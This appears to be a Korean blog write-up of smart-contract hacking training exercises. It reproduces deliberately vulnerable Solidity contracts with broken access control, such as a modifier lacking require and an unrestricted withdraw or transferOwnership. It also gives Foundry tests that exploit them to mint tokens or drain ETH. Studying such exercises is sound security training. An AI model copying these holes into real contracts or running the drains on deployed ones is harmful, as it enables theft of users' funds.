아래 컨트랙트의 이더를 탈취하면 된다.
// https://smartcontractshacking.com/#copyright-policy
pragma solidity ^0.4.24;
/**
* @title ProtocolVault
* @author JohnnyTime (https://smartcontractshacking.com)
*/
contract ProtocolVault {
// Contract owner
address public owner;
function ProtocolVault() public {
owner = msg.sender;
}
function withdrawETH() external {
require(msg.sender == owner, "Not owner");
this._sendETH(msg.sender);
}
function _sendETH(address to) {
to.transfer(address(this).balance);
}
function() external payable {}
}
그냥 _sendETH
를 호출하면 되니 패스.
토큰을 민팅해보자.
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol";
/**
* @title ToTheMoon
* @author JohnnyTime (https://smartcontractshacking.com)
*/
contract ToTheMoon is ERC20Pausable {
address public owner;
modifier onlyOwner() {
msg.sender == owner;
_;
}
constructor(uint256 _initialSupply) ERC20("To The Moon", "TTM") {
owner = msg.sender;
_mint(owner, _initialSupply);
}
function mint(address _to, uint256 _amount) external onlyOwner {
_mint(_to, _amount);
}
function pause(bool state) external onlyOwner {
if(state) {
Pausable._pause();
} else {
Pausable._unpause();
}
}
}
onlyOwner
modifier를 잘 살펴보면 require문이 없다..! 따라서 modifier는 의미가 없는 수준.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../../src/access-control-2/ToTheMoon.sol";
/**
@dev run "forge test --match-contract AC2"
*/
contract TestAC2 is Test {
uint256 constant ONE_MILLION = 1_000_000 * 1e18;
ToTheMoon toTheMoon;
address deployer;
address user1;
address attacker;
function setUp() public {
deployer = address(1);
user1 = address(2);
attacker = address(3);
vm.startPrank(deployer);
toTheMoon = new ToTheMoon(ONE_MILLION);
vm.stopPrank();
}
function test_attack() public {
vm.startPrank(attacker);
toTheMoon.mint(attacker, ONE_MILLION + 1);
vm.stopPrank();
assertEq(toTheMoon.balanceOf(attacker) > toTheMoon.balanceOf(deployer), true);
}
}
통과!
이더를 탈취해보자.
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
/**
* @title KilianExclusive
* @author JohnnyTime (https://smartcontractshacking.com)
*/
contract KilianExclusive is ERC721, Ownable {
uint16 public totalFragrances = 0;
struct Fragrance {
uint16 id;
string name;
uint256 mintedAt;
uint256 lastRefill;
}
mapping(uint16 => Fragrance) public fragrances;
string public baseURI = "https://metaverse.bykilian.com/";
uint256 public constant fragrancePrice = 10 ether;
bool public saleIsActive = false;
constructor() ERC721("Kilian Exclusive", "Kilian") {}
function setBaseURI(string memory _newURI) public onlyOwner {
baseURI = _newURI;
}
function getFragrenceData(string memory _fragranceId) public view returns (string memory) {
return string.concat(baseURI, _fragranceId);
}
function purchaseFragrance(uint16 _fragranceId) public payable {
// Sanity checks
require(saleIsActive, "Sale must be active to mint a fragerence");
require(fragrancePrice == msg.value, "Ether value sent is not correct");
require(_fragranceId > 0 && _fragranceId <= totalFragrances, "invalid _fragranceId");
Fragrance storage fragrance = fragrances[_fragranceId];
require(fragrance.mintedAt == 0, "fragrence already purchased");
// Mint fragrance
fragrance.mintedAt = block.timestamp;
_safeMint(msg.sender, _fragranceId);
}
function addFragrance(string memory _name) public onlyOwner {
totalFragrances += 1;
Fragrance storage fragrance = fragrances[totalFragrances];
fragrance.id = totalFragrances;
fragrance.name = _name;
fragrance.mintedAt = 0;
fragrance.lastRefill = 0;
}
function refillPerfume(uint16 _fragranceId) public {
Fragrance storage fragrance = fragrances[_fragranceId];
require(fragrance.id != 0, "fragrance doesn't exist");
require(fragrance.mintedAt != 0, "fragrance not sold");
require(ownerOf(_fragranceId) == msg.sender);
require(block.timestamp - fragrance.lastRefill > 365 days);
fragrance.lastRefill = block.timestamp;
}
function withdraw(address _to) public {
require(msg.sender == _to);
payable(_to).transfer(address(this).balance);
}
function flipSaleState() public onlyOwner {
saleIsActive = !saleIsActive;
}
}
그냥 withdraw
를 호출하면 돼서 패스..
세일 컨트랙트의 이더를 탈취하면 된다. 컨트랙트 코드가 조금 길어서 핵심만 가져왔다.
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
//..
function transferOwnership(address newOwner) public virtual {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
//..
}
contract Starlight is Context, ERC20, Ownable {
using Address for address payable;
uint256 public salePrice = 0.01 ether;
constructor() ERC20("Starlight Token", "Star") {}
function buyTokens(uint256 _amount, address _to) external payable {
require(_to != address(0), "invalid to");
require(msg.value * 100 == _amount, "wrong amount of ETH sent");
_mint(_to, _amount);
}
function withdraw() external onlyOwner {
payable(owner()).sendValue(address(this).balance);
}
}
transferOwnership()
을 호출해서 ownership을 가져오면 이더를 출금할 수 있다.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../../src/access-control-4/Starlight.sol";
/**
@dev run "forge test --match-contract AC4"
*/
contract TestAC4 is Test {
Starlight startLight;
address deployer;
address user1;
address user2;
address attacker;
uint256 constant USER_INITIAL_BUY = 1 ether;
uint256 constant USER_INITIAL_AMOUNT = 100 * 1e18;
function setUp() public {
deployer = address(1);
user1 = address(2);
user2 = address(3);
attacker = address(4);
vm.deal(user1, USER_INITIAL_BUY);
vm.deal(user2, USER_INITIAL_BUY);
vm.prank(deployer);
startLight = new Starlight();
vm.prank(user1);
startLight.buyTokens{value : USER_INITIAL_BUY}(USER_INITIAL_AMOUNT, user1);
vm.prank(user2);
startLight.buyTokens{value : USER_INITIAL_BUY}(USER_INITIAL_AMOUNT, user2);
}
function test_attack() public {
vm.startPrank(attacker);
startLight.transferOwnership(attacker);
startLight.withdraw();
vm.stopPrank();
assertEq(attacker.balance, 2 * USER_INITIAL_BUY);
assertEq(address(startLight).balance, 0);
}
성공!